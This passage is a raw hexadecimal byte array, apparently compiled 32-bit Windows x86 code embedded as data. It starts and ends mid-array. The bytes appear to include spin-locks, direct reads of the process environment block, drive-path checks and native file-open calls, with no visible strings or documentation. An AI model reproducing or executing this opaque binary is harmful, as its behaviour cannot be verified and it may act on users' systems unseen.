x3E,0x5B,0x00,0x00,0xC9,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8D,0x74,0x26,0x00,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0x8B,0x45,0x0C,0x85,0xC0,0x75,0x70,0xA1,0x0C,0xB0,0x88,0x6C,0x31,0xD2,0x85,0xC0,0x7E,0x55,0x83,0xE8,0x01,0x8B,0x3D,0x20,0xE1,0x88,0x6C,0x31,0xF6,0xA3,0x0C,0xB0,0x88,0x6C,0xEB,0x0F,0x8D,0x76,0x00,0xC7,0x04,0x24,0xE8,0x03,0x00,0x00,0xFF,0xD7,0x83,0xEC,0x04,0xBA,0x01,0x00,0x00,0x00,0x89,0xF0,0xF0,0x0F,0xB1,0x15,0x24,0xCA,0x88,0x6C,0x89,0xC3,0x85,0xC0,0x75,0xDF,0xA1,0x28,0xCA,0x88,0x6C,0x83,0xF8,0x02,0x0F,0x84,0xC9,0x00,0x00,0x00,0xC7,0x04,0x24,0x1F,0x00,0x00,0x00,0xE8,0x35,0x5C,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x8D,0x65,0xF4,0x89,0xD0,0x5B,0x5E,0x5F,0x5D,0xC2,0x0C,0x00,0x8D,0x74,0x26,0x00,0x83,0xF8,0x01,0x75,0xE6,0x64,0xA1,0x18,0x00,0x00,0x00,0x8B,0x35,0x20,0xE1,0x88,0x6C,0x8B,0x78,0x04,0x31,0xDB,0xEB,0x1C,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x39,0xC7,0x0F,0x84,0xA8,0x00,0x00,0x00,0xC7,0x04,0x24,0xE8,0x03,0x00,0x00,0xFF,0xD6,0x83,0xEC,0x04,0x89,0xD8,0xF0,0x0F,0xB1,0x3D,0x24,0xCA,0x88,0x6C,0x85,0xC0,0x75,0xDE,0x31,0xDB,0xA1,0x28,0xCA,0x88,0x6C,0x83,0xF8,0x01,0x0F,0x84,0xEE,0x00,0x00,0x00,0xA1,0x28,0xCA,0x88,0x6C,0x85,0xC0,0x0F,0x84,0x91,0x00,0x00,0x00,0xA1,0x28,0xCA,0x88,0x6C,0x83,0xF8,0x01,0x0F,0x84,0xAB,0x00,0x00,0x00,0x85,0xDB,0x74,0x6F,0xA1,0xBC,0x82,0x88,0x6C,0x85,0xC0,0x74,0x1A,0x8B,0x55,0x10,0xC7,0x44,0x24,0x04,0x02,0x00,0x00,0x00,0x89,0x54,0x24,0x08,0x8B,0x55,0x08,0x89,0x14,0x24,0xFF,0xD0,0x83,0xEC,0x0C,0x83,0x05,0x0C,0xB0,0x88,0x6C,0x01,0xBA,0x01,0x00,0x00,0x00,0xE9,0x4B,0xFF,0xFF,0xFF,0x8D,0x76,0x00,0xC7,0x04,0x24,0x00,0xB0,0x88,0x6C,0xE8,0xFC,0x5A,0x00,0x00,0xC7,0x05,0x28,0xCA,0x88,0x6C,0x00,0x00,0x00,0x00,0x87,0x1D,0x24,0xCA,0x88,0x6C,0xE9,0x22,0xFF,0xFF,0xFF,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0xBB,0x01,0x00,0x00,0x00,0xE9,0x6A,0xFF,0xFF,0xFF,0x8D,0xB6,0x00,0x00,0x00,0x00,0x87,0x1D,0x24,0xCA,0x88,0x6C,0xEB,0x89,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0xC7,0x05,0x28,0xCA,0x88,0x6C,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x10,0xF0,0x88,0x6C,0xC7,0x04,0x24,0x08,0xF0,0x88,0x6C,0xE8,0x1A,0x5B,0x00,0x00,0xE9,0x4C,0xFF,0xFF,0xFF,0x2E,0x8D,0x74,0x26,0x00,0xC7,0x44,0x24,0x04,0x04,0xF0,0x88,0x6C,0xC7,0x04,0x24,0x00,0xF0,0x88,0x6C,0xE8,0xFC,0x5A,0x00,0x00,0xC7,0x05,0x28,0xCA,0x88,0x6C,0x02,0x00,0x00,0x00,0xE9,0x32,0xFF,0xFF,0xFF,0x2E,0x8D,0x74,0x26,0x00,0xC7,0x04,0x24,0x1F,0x00,0x00,0x00,0xE8,0xD4,0x5A,0x00,0x00,0xE9,0x0E,0xFF,0xFF,0xFF,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x57,0x89,0xCF,0x56,0x89,0xC6,0x53,0x89,0xD3,0x83,0xEC,0x2C,0x89,0x15,0x88,0x70,0x88,0x6C,0x85,0xD2,0x75,0x77,0xA1,0x0C,0xB0,0x88,0x6C,0x85,0xC0,0x74,0x4E,0xE8,0x09,0x4F,0x00,0x00,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0x42,0x4B,0x00,0x00,0x83,0xEC,0x0C,0x89,0x7C,0x24,0x08,0x89,0x5C,0x24,0x04,0x89,0x34,0x24,0xE8,0xA2,0x58,0x00,0x00,0x83,0xEC,0x0C,0x89,0x45,0xE4,0x89,0x7C,0x24,0x08,0x89,0x5C,0x24,0x04,0x89,0x34,0x24,0xE8,0xBC,0xFD,0xFF,0xFF,0x8B,0x55,0xE4,0x83,0xEC,0x0C,0x85,0xC0,0x75,0x04,0x66,0x90,0x31,0xD2,0xC7,0x05,0x88,0x70,0x88,0x6C,0xFF,0xFF,0xFF,0xFF,0x8D,0x65,0xF4,0x89,0xD0,0x5B,0x5E,0x5F,0x5D,0xC3,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x66,0x90,0xE8,0x9B,0x4E,0x00,0x00,0x8D,0x43,0xFF,0x89,0x7C,0x24,0x08,0x89,0x5C,0x24,0x04,0x89,0x34,0x24,0x83,0xF8,0x01,0x77,0x48,0xE8,0x73,0xFD,0xFF,0xFF,0x83,0xEC,0x0C,0x85,0xC0,0x74,0xBC,0x89,0x7C,0x24,0x08,0x89,0x5C,0x24,0x04,0x89,0x34,0x24,0xE8,0x2C,0x58,0x00,0x00,0x83,0xEC,0x0C,0x85,0xC0,0x74,0x45,0x83,0xFB,0x01,0x74,0x68,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x02,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0x99,0x4A,0x00,0x00,0x83,0xEC,0x0C,0x89,0xC2,0xEB,0x87,0x2E,0x8D,0x74,0x26,0x00,0xE8,0x88,0x4A,0x00,0x00,0x83,0xEC,0x0C,0x89,0xC2,0x83,0xFB,0x03,0x0F,0x85,0x6F,0xFF,0xFF,0xFF,0xE9,0x36,0xFF,0xFF,0xFF,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x83,0xFB,0x01,0x0F,0x85,0x57,0xFF,0xFF,0xFF,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0xF3,0xFC,0xFF,0xFF,0x83,0xEC,0x0C,0xE9,0x3B,0xFF,0xFF,0xFF,0x8D,0x76,0x00,0xE8,0x23,0x4B,0x00,0x00,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0x2C,0x4A,0x00,0x00,0x83,0xEC,0x0C,0x89,0xC2,0x85,0xC0,0x0F,0x85,0x14,0xFF,0xFF,0xFF,0x89,0x45,0xE4,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0x08,0x4A,0x00,0x00,0x83,0xEC,0x0C,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0x64,0x57,0x00,0x00,0x83,0xEC,0x0C,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0x7D,0xFC,0xFF,0xFF,0x8B,0x55,0xE4,0x83,0xEC,0x0C,0xE9,0xC4,0xFE,0xFF,0xFF,0x66,0x90,0x55,0x89,0xE5,0x83,0xEC,0x08,0xC7,0x05,0x3C,0xCA,0x88,0x6C,0x00,0x00,0x00,0x00,0x8B,0x4D,0x10,0x8B,0x55,0x0C,0x8B,0x45,0x08,0xE8,0x32,0xFE,0xFF,0xFF,0xC9,0xC2,0x0C,0x00,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8D,0xB6,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x83,0xEC,0x18,0x8B,0x45,0x08,0xC7,0x04,0x24,0x00,0xB0,0x88,0x6C,0x89,0x44,0x24,0x04,0xE8,0x87,0x57,0x00,0x00,0xC9,0xC3,0x90,0x90,0x90,0x90,0x90,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0xC7,0x04,0x24,0x00,0x80,0x88,0x6C,0xFF,0x15,0x00,0xE1,0x88,0x6C,0x83,0xEC,0x04,0x85,0xC0,0x74,0x73,0x89,0xC3,0xC7,0x04,0x24,0x00,0x80,0x88,0x6C,0xFF,0x15,0x1C,0xE1,0x88,0x6C,0x8B,0x3D,0x04,0xE1,0x88,0x6C,0x83,0xEC,0x04,0xA3,0x10,0xB0,0x88,0x6C,0xC7,0x44,0x24,0x04,0x13,0x80,0x88,0x6C,0x89,0x1C,0x24,0xFF,0xD7,0x83,0xEC,0x08,0x89,0xC6,0xC7,0x44,0x24,0x04,0x29,0x80,0x88,0x6C,0x89,0x1C,0x24,0xFF,0xD7,0x83,0xEC,0x08,0xA3,0x04,0x70,0x88,0x6C,0x85,0xF6,0x74,0x11,0xC7,0x44,0x24,0x04,0x14,0xB0,0x88,0x6C,0xC7,0x04,0x24,0xDC,0x90,0x88,0x6C,0xFF,0xD6,0xC7,0x04,0x24,0xA0,0x14,0x88,0x6C,0xE8,0x5E,0xFF,0xFF,0xFF,0x8D,0x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xC3,0x8D,0xB6,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xBE,0x00,0x00,0x00,0x00,0xEB,0xC0,0x8D,0x74,0x26,0x00,0x55,0x89,0xE5,0x83,0xEC,0x18,0xA1,0x04,0x70,0x88,0x6C,0x85,0xC0,0x74,0x09,0xC7,0x04,0x24,0xDC,0x90,0x88,0x6C,0xFF,0xD0,0xA1,0x10,0xB0,0x88,0x6C,0x85,0xC0,0x74,0x0C,0x89,0x04,0x24,0xFF,0x15,0xF8,0xE0,0x88,0x6C,0x83,0xEC,0x04,0xC9,0xC3,0x90,0x55,0x89,0xE5,0x83,0xEC,0x18,0x8B,0x45,0x08,0x89,0x04,0x24,0xA1,0x90,0xE1,0x88,0x6C,0xFF,0xD0,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x53,0x81,0xEC,0x40,0x02,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x8D,0x95,0xD8,0xFD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x82,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0xC7,0x00,0x00,0x00,0x00,0x00,0x83,0x7D,0x08,0x00,0x0F,0x84,0xED,0x01,0x00,0x00,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0x8D,0x85,0xD8,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xA2,0x57,0x00,0x00,0x8B,0x45,0xE8,0x8D,0x55,0xE8,0x89,0x54,0x24,0x10,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x04,0x00,0x00,0x89,0x04,0x24,0xE8,0x45,0x19,0x00,0x00,0x89,0x45,0xF0,0x81,0x7D,0xF0,0x1A,0x00,0x00,0x80,0x0F,0x84,0x99,0x01,0x00,0x00,0x83,0x7D,0xF0,0x00,0x0F,0x88,0x92,0x01,0x00,0x00,0x8B,0x45,0xE8,0x8D,0x55,0xE0,0x89,0x54,0x24,0x08,0x8D,0x55,0xE4,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0xD8,0x0C,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0x51,0x01,0x00,0x00,0x8B,0x45,0xE4,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x75,0x54,0x8B,0x45,0xE4,0x85,0xC0,0x0F,0x84,0x41,0x01,0x00,0x00,0x8B,0x55,0xE0,0x8B,0x45,0xE4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x20,0x57,0x00,0x00,0x8B,0x5D,0xE4,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xE9,0xF8,0x00,0x00,0x00,0x8B,0x45,0xE4,0x8B,0x40,0x04,0xC7,0x44,0x24,0x04,0x5C,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x3B,0x57,0x00,0x00,0x83,0xC0,0x02,0x89,0x45,0xEC,0x8D,0x85,0xD8,0xFD,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0xEC,0x89,0x04,0x24,0xA1,0x48,0xE1,0x88,0x6C,0xFF,0xD0,0x85,0xC0,0x75,0x67,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x44,0x8B,0x55,0xE0,0x8B,0x45,0xE4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x99,0x56,0x00,0x00,0x8B,0x5D,0xE4,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0xD8,0x0C,0x00,0x00,0x8B,0x55,0x0C,0x89,0x02,0x90,0x8B,0x45,0x0C,0x8B,0x00,0x85,0xC0,0x74,0x74,0xEB,0x60,0x8B,0x45,0xE4,0x85,0xC0,0x0F,0x84,0x8E,0xFE,0xFF,0xFF,0x8B,0x55,0xE0,0x8B,0x45,0xE4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x2E,0x56,0x00,0x00,0x8B,0x5D,0xE4,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xE9,0x45,0xFE,0xFF,0xFF,0x90,0xE9,0x3F,0xFE,0xFF,0xFF,0x90,0xE9,0x39,0xFE,0xFF,0xFF,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xE8,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0xC5,0x17,0x00,0x00,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x4B,0x8B,0x45,0xE4,0x85,0xC0,0x74,0x44,0x8B,0x55,0xE0,0x8B,0x45,0xE4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0xA6,0x55,0x00,0x00,0x8B,0x5D,0xE4,0xA1,0x08,0xE1,0x88,0x6C,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x10,0xE1,0x88,0x6C,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8D,0x65,0xF8,0x5B,0x5F,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0x8B,0x45,0x08,0x0F,0xB6,0x10,0x8B,0x45,0x08,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x38,0xC2,0x75,0x14,0x8B,0x45,0x08,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x3C,0x5C,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x56,0x8B,0x45,0x08,0x0F,0xB6,0x00,0x83,0xC8,0x20,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x60,0x7E,0x06,0x80,0x7D,0xFF,0x7A,0x7E,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x37,0x8B,0x45,0x08,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x3A,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x1E,0x8B,0x45,0x08,0x83,0xC0,0x02,0x0F,0xB6,0x00,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x5C,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x81,0xEC,0x28,0x02,0x00,0x00,0x8B,0x45,0x08,0x8B,0x40,0x04,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0xC7,0x44,0x24,0x04,0x44,0x80,0x88,0x6C,0x89,0x04,0x24,0xE8,0x1E,0x55,0x00,0x00,0x8B,0x45,0x0C,0x89,0x04,0x24,0xE8,0x49,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x1F,0xE8,0x97,0x00,0x00,0x00,0x8B,0x55,0x08,0x8B,0x52,0x04,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x89,0x44,0x24,0x04,0x89,0x14,0x24,0xE8,0xE8,0x54,0x00,0x00,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8D,0x85,0xF0,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x63,0x54,0x00,0x00,0x8B,0x45,0x08,0x8B,0x40,0x04,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x8D,0x95,0xF0,0xFD,0xFF,0xFF,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0xAB,0x54,0x00,0x00,0x8B,0x45,0x08,0x8B,0x40,0x04,0xC7,0x44,0x24,0x04,0x04,0x01,0x00,0x00,0x89,0x04,0x24,0xE8,0x2D,0x52,0x00,0x00,0x89,0xC2,0x8B,0x45,0x08,0x66,0x89,0x10,0x8B,0x45,0x08,0x0F,0xB7,0x00,0x8D,0x14,0x00,0x8B,0x45,0x08,0x66,0x89,0x10,0x8B,0x45,0x08,0x0F,0xB7,0x00,0x8D,0x50,0x02,0x8B,0x45,0x08,0x66,0x89,0x50,0x02,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0xC7,0x45,0xF4,0x30,0x00,0x00,0x00,0x8B,0x45,0xF4,0x64,0x8B,0x00,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x83,0xC0,0x10,0x8B,0x00,0x89,0x45,0xF8,0x8B,0x45,0xF8,0x8B,0x40,0x28,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x68,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD8,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x8B,0x45,0x10,0xBA,0x00,0x00,0x00,0x00,0x89,0x45,0xC8,0x89,0x55,0xCC,0xC7,0x45,0xD8,0x18,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x40,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0xE0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x24,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x05,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x80,0x00,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x10,0x8D,0x45,0xD0,0x89,0x44,0x24,0x0C,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x16,0x01,0x12,0x00,0x8D,0x45,0xF0,0x89,0x04,0x24,0xE8,0x01,0x16,0x00,0x00,0x89,0x45,0xF4,0x81,0x7D,0xF4,0x3A,0x00,0x00,0xC0,0x74,0x09,0x81,0x7D,0xF4,0x33,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x7C,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x6F,0x8B,0x45,0xF0,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x00,0x00,0x00,0x00,0x8B,0x55,0x10,0x89,0x54,0x24,0x18,0x8B,0x55,0x0C,0x89,0x54,0x24,0x14,0x8D,0x55,0xD0,0x89,0x54,0x24,0x10,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0xB1,0x15,0x00,0x00,0x89,0x45,0xF4,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x9B,0x14,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x68,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD8,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xD8,0x18,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x40,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0xE0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x24,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x03,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x80,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x8D,0x45,0xD0,0x89,0x44,0x24,0x0C,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x89,0x00,0x12,0x00,0x8D,0x45,0xF0,0x89,0x04,0x24,0xE8,0xB9,0x14,0x00,0x00,0x89,0x45,0xF4,0x81,0x7D,0xF4,0x3A,0x00,0x00,0xC0,0x74,0x12,0x81,0x7D,0xF4,0x33,0x00,0x00,0xC0,0x74,0x09,0x81,0x7D,0xF4,0x3B,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x24,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x17,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x95,0x13,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x81,0xEC,0x44,0x02,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xDC,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0x8D,0x95,0xD4,0xFD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x82,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x85,0xCC,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xD0,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8D,0x85,0xD4,0xFD,0xFF,0xFF,0x89,0x85,0xD0,0xFD,0xFF,0xFF,0x83,0x7D,0x08,0x00,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x61,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0x8D,0x85,0xCC,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x24,0xFC,0xFF,0xFF,0xC7,0x45,0xDC,0x18,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x40,0x00,0x00,0x00,0x8D,0x85,0xCC,0xFD,0xFF,0xFF,0x89,0x45,0xE4,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8D,0x45,0xDC,0x89,0x04,0x24,0xE8,0x9F,0x14,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x8B,0x7D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x81,0xEC,0x74,0x02,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD8,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x8D,0x95,0xC0,0xFD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x82,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x85,0xB8,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xBC,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8D,0x85,0xC0,0xFD,0xFF,0xFF,0x89,0x85,0xBC,0xFD,0xFF,0xFF,0x83,0x7D,0x08,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xE0,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0x8D,0x85,0xB8,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x2E,0xFB,0xFF,0xFF,0xC7,0x45,0xD8,0x18,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x40,0x00,0x00,0x00,0x8D,0x85,0xB8,0xFD,0xFF,0xFF,0x89,0x45,0xE0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x24,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x80,0x00,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x10,0x8D,0x45,0xD0,0x89,0x44,0x24,0x0C,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0xC7,0x